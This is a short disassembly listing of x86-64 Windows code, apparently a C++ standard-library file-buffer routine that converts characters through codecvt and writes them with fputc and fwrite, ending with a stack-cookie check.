call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003254
sub eax, 1
je 0x140003254
cmp eax, 2
jne 0x14000329c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400032a1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003282
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000329c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400032a1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004360
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret